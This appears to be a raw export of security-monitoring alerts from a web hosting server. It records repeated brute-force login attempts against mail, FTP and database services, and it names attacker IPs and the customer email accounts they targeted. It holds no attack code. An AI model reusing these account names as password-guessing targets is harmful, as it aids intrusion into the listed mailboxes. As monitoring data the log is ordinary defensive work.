name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:30:21 dovecot_login authenticator failed for H=(XTMn9erl) [178.16.54.22]:53352: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.144.235
country_id: 1733045
description:
[2026-02-01 14:30:59 +0800] info [webmaild] 115.134.144.235 - horizon@tst-ma.com "POST /cpsess4197968261/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [210.187.4.62] != Current IP Address [115.134.144.235]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:30:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51664: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 14:30:06 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:59318: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:30:18 dovecot_login authenticator failed for H=(yCYdLQFTPQ) [178.16.52.139]:50000: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:30:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41238: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:30:25 dovecot_login authenticator failed for H=(K7CoQAy) [158.94.208.175]:60909: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:31:11 dovecot_login authenticator failed for H=(rgsR4eIG2n) [178.16.52.139]:63381: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:31:03 dovecot_login authenticator failed for H=(ibWAfUrpdi) [178.16.54.22]:63844: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 14:31:06 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:44602: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:31:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 14:31:23 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:53660: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:31:19 dovecot_login authenticator failed for H=(TSwMQNbx) [158.94.208.175]:58680: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.36.97
country_id: 1880251
description:
Feb  1 14:31:31 sv3 pure-ftpd[897382]: (?@47.84.36.97) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 47.84.36.97
country_id: 1880251
description:
2026-02-01 14:31:31 227059 [Warning] Aborted connection 227059 to db: 'unconnected' user: 'unauthenticated' host: '47.84.36.97' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:32:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:32:32 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:32:20 dovecot_login authenticator failed for H=(3qzApxNcFh) [178.16.54.22]:61540: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:32:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36840: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:32:02 dovecot_login authenticator failed for H=(eRMAwGGw) [178.16.52.139]:57736: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:32:02 dovecot_login authenticator failed for H=(exGPoPTPy) [158.94.208.175]:50311: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:32:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53245: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:33:25 dovecot_login authenticator failed for H=(OkByBNS1Ge) [158.94.208.175]:55128: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:33:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:33:14 dovecot_login authenticator failed for H=(WlbupYfW) [178.16.52.139]:51916: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:33:39 dovecot_login authenticator failed for H=(LMB4j3k) [178.16.52.139]:49312: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:33:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49219: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:33:01 dovecot_login authenticator failed for H=(tc1WgFr20p) [178.16.54.22]:51547: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:34:13 dovecot_login authenticator failed for H=(3kWwPRm) [178.16.52.139]:59072: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:34:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61093: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:34:05 dovecot_login authenticator failed for H=(jo8caW) [178.16.54.22]:54210: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:34:12 dovecot_login authenticator failed for H=(zk6hMG6Xy) [158.94.208.175]:58988: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:34:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:34:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49314: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:35:07 dovecot_login authenticator failed for H=(4rlATrW) [178.16.54.22]:65315: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:35:10 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50432: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:35:13 dovecot_login authenticator failed for H=(T5eCsKOK) [178.16.52.139]:50011: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:35:15 dovecot_login authenticator failed for H=(PsHPFV) [158.94.208.175]:54405: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 14:35:42 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:58732: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:35:44 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.99.92
country_id: 1655842
description:
2026-02-01 14:36:03 dovecot_login authenticator failed for H=([183.182.99.92]) [183.182.99.92]:42821: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:36:05 dovecot_login authenticator failed for H=(8UOst3GZ) [158.94.208.175]:57328: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:36:40 dovecot_login authenticator failed for H=(vH1ClTU5Tj) [178.16.54.22]:51627: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:36:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:45312: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:36:02 dovecot_login authenticator failed for H=(4j2SM57) [178.16.52.139]:59519: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:36:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55796: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:37:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51782: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:37:11 dovecot_login authenticator failed for H=(PUoUvg) [178.16.52.139]:54759: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:37:11 227237 [Warning] Aborted connection 227237 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:37:16 dovecot_login authenticator failed for H=(lpdsi7Br4) [178.16.54.22]:54946: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:37:27 dovecot_login authenticator failed for H=(SOgZWuFKga) [158.94.208.175]:50767: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:38:17 dovecot_login authenticator failed for H=(Is9l7hGbOp) [178.16.52.139]:56793: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:38:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51210: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:38:24 dovecot_login authenticator failed for H=(J89WnnNiKr) [178.16.54.22]:59985: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:38:32 dovecot_login authenticator failed for H=(Wef7fgEFnr) [158.94.208.175]:60468: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-01 14:39:33 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:33076: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 14:39:47 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:33509: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.161.217.228
country_id: 2510769
description:
2026-02-01 14:39:47 dovecot_login authenticator failed for H=(228.pool90-161-217.static.orange.es) [90.161.217.228]:52085: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:39:04 dovecot_login authenticator failed for H=(996UkDdxqA) [158.94.208.175]:62807: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:39:05 dovecot_login authenticator failed for H=(rFpMwtFS6t) [178.16.54.22]:63197: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:39:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38460: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:39:06 dovecot_login authenticator failed for H=(sLbQEDn) [178.16.52.139]:49774: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:39:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57826: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:40:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63488: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:40:10 dovecot_login authenticator failed for H=(ImFzDG7uQ) [158.94.208.175]:54700: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.148.199.165
country_id: 2077456
description:
2026-02-01 14:40:41 dovecot_login authenticator failed for H=165.199.148.122.sta.wbroadband.net.au [122.148.199.165]:33107: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:40:20 dovecot_login authenticator failed for H=(FAcpveaTk) [178.16.52.139]:63665: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:40:24 dovecot_login authenticator failed for H=(jPM3hLLG) [178.16.54.22]:59525: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 14:40:30 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:50131: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:41:14 dovecot_login authenticator failed for H=(k4vuElt) [158.94.208.175]:49552: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:41:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:46214: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:41:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59436: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:41:44 dovecot_login authenticator failed for H=(1LyJ4N) [178.16.52.139]:65474: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 14:41:49 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:45436: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:41:10 dovecot_login authenticator failed for H=(OeW6hB7f8r) [178.16.54.22]:62395: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 14:42:53 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:46662: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:42:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49414: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:42:37 dovecot_login authenticator failed for H=(BmYRJ8Wl) [178.16.52.139]:65416: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:42:15 dovecot_login authenticator failed for H=(Y1euEW) [158.94.208.175]:51801: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:42:26 dovecot_login authenticator failed for H=(TSUBHo901v) [178.16.54.22]:63617: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.132.228.211
country_id: 1814991
description:
2026-02-01 14:42:57 dovecot_login authenticator failed for H=([59.110.5.198]) [36.132.228.211]:10638: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 14:43:13 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:43:19 dovecot_login authenticator failed for H=(CHZ8Bx3AA) [158.94.208.175]:50022: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:43:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:40628: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.140.233.37
country_id: 2017370
description:
2026-02-01 14:43:25 dovecot_login authenticator failed for H=(37.233.140.62.fryazino.net) [62.140.233.37]:59924: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-02-01 14:43:35 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:44176: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:43:38 dovecot_login authenticator failed for H=(zLSHGOl) [158.94.208.175]:53910: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:43:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55139: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:43:45 dovecot_login authenticator failed for H=(384erw5Q2) [178.16.54.22]:53090: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:43:05 dovecot_login authenticator failed for H=(V1qzKoSO) [178.16.52.139]:58034: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:44:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56837: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:44:08 dovecot_login authenticator failed for H=(ueJXk1w) [178.16.54.22]:51549: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:44:09 dovecot_login authenticator failed for H=(NMWnnIeuP) [178.16.52.139]:63763: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:44:12 dovecot_login authenticator failed for H=(Y7f8eupK4) [158.94.208.175]:49778: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:45:03 dovecot_login authenticator failed for H=(ZUGIdVS) [178.16.52.139]:54293: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:45:16 dovecot_login authenticator failed for H=(j9oGjw) [178.16.54.22]:55147: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:45:35 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49978: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:45:18 dovecot_login authenticator failed for H=(CcU71j) [158.94.208.175]:63746: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:45:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50996: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:46:07 dovecot_login authenticator failed for H=(xYDprqnTIz) [178.16.52.139]:52221: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:46:09 dovecot_login authenticator failed for H=(u70NpW) [158.94.208.175]:53899: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:46:47 dovecot_login authenticator failed for H=(fCMtUl) [178.16.54.22]:50882: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:46:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57204: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.148.115.136
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=68&page=6 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:47:31 dovecot_login authenticator failed for H=(1nbaIEVbkT) [178.16.54.22]:51184: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:47:32 dovecot_login authenticator failed for H=(nwUlDaqxky) [178.16.52.139]:61382: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:47:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63239: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:47:14 dovecot_login authenticator failed for H=(ArM2rCTyoP) [158.94.208.175]:49478: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:47:15 dovecot_login authenticator failed for H=(tfJTWKKr2) [178.16.52.139]:50388: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:47:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41244: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
